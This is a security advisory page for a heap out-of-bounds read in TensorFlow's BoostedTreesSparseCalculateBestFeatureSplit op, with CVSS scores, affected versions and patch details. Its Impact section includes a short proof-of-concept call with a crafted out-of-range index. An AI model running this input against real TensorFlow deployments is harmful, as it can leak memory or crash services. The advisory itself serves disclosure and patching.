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githubGitHub Advisory DatabaseGHSA-R4C4-5FPQ-56WG
HistoryAug 25, 2021 - 2:42 p.m.

Heap OOB in boosted trees

2021-08-2514:42:20
CWE-125
GitHub Advisory Database
github.com
18
heap out of bounds
tensorflow 2.6.0
security patch
aivul team

CVSS2

3.6

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:L/AC:L/Au:N/C:P/I:N/A:P

CVSS3

7.3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

LOW

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H

EPSS

0

Percentile

12.6%

Impact

An attacker can read from outside of bounds of heap allocated data by sending specially crafted illegal arguments to BoostedTreesSparseCalculateBestFeatureSplit:

import tensorflow as tf

tf.raw_ops.BoostedTreesSparseCalculateBestFeatureSplit(
  node_id_range=[0,10],
  stats_summary_indices=[[1, 2, 3, 0x1000000]],
  stats_summary_values=[1.0],
  stats_summary_shape=[1,1,1,1],
  l1=l2=[1.0],
  tree_complexity=[0.5],
  min_node_weight=[1.0],
  logits_dimension=3,
  split_type='inequality')                                                                                                                                                                                                                                                                

The implementation needs to validate that each value in stats_summary_indices is in range.

Patches

We have patched the issue in GitHub commit e84c975313e8e8e38bb2ea118196369c45c51378.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Affected configurations

Vulners
Node
tensorflow-gpuMatch2.5.0
OR
tensorflow-gpuRange2.4.02.4.3
OR
tensorflow-gpuRange<2.3.4
OR
tensorflow-cpuMatch2.5.0
OR
tensorflow-cpuRange2.4.02.4.3
OR
tensorflow-cpuRange<2.3.4
OR
tensorflowtensorflowMatch2.5.0
OR
tensorflowtensorflowRange2.4.02.4.3
OR
tensorflowtensorflowRange<2.3.4
VendorProductVersionCPE
*tensorflow-gpu2.5.0cpe:2.3:a:*:tensorflow-gpu:2.5.0:*:*:*:*:*:*:*
*tensorflow-gpu*cpe:2.3:a:*:tensorflow-gpu:*:*:*:*:*:*:*:*
*tensorflow-cpu2.5.0cpe:2.3:a:*:tensorflow-cpu:2.5.0:*:*:*:*:*:*:*
*tensorflow-cpu*cpe:2.3:a:*:tensorflow-cpu:*:*:*:*:*:*:*:*
tensorflowtensorflow2.5.0cpe:2.3:a:tensorflow:tensorflow:2.5.0:*:*:*:*:*:*:*
tensorflowtensorflow*cpe:2.3:a:tensorflow:tensorflow:*:*:*:*:*:*:*:*

CVSS2

3.6

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:L/AC:L/Au:N/C:P/I:N/A:P

CVSS3

7.3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

LOW

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H

EPSS

0

Percentile

12.6%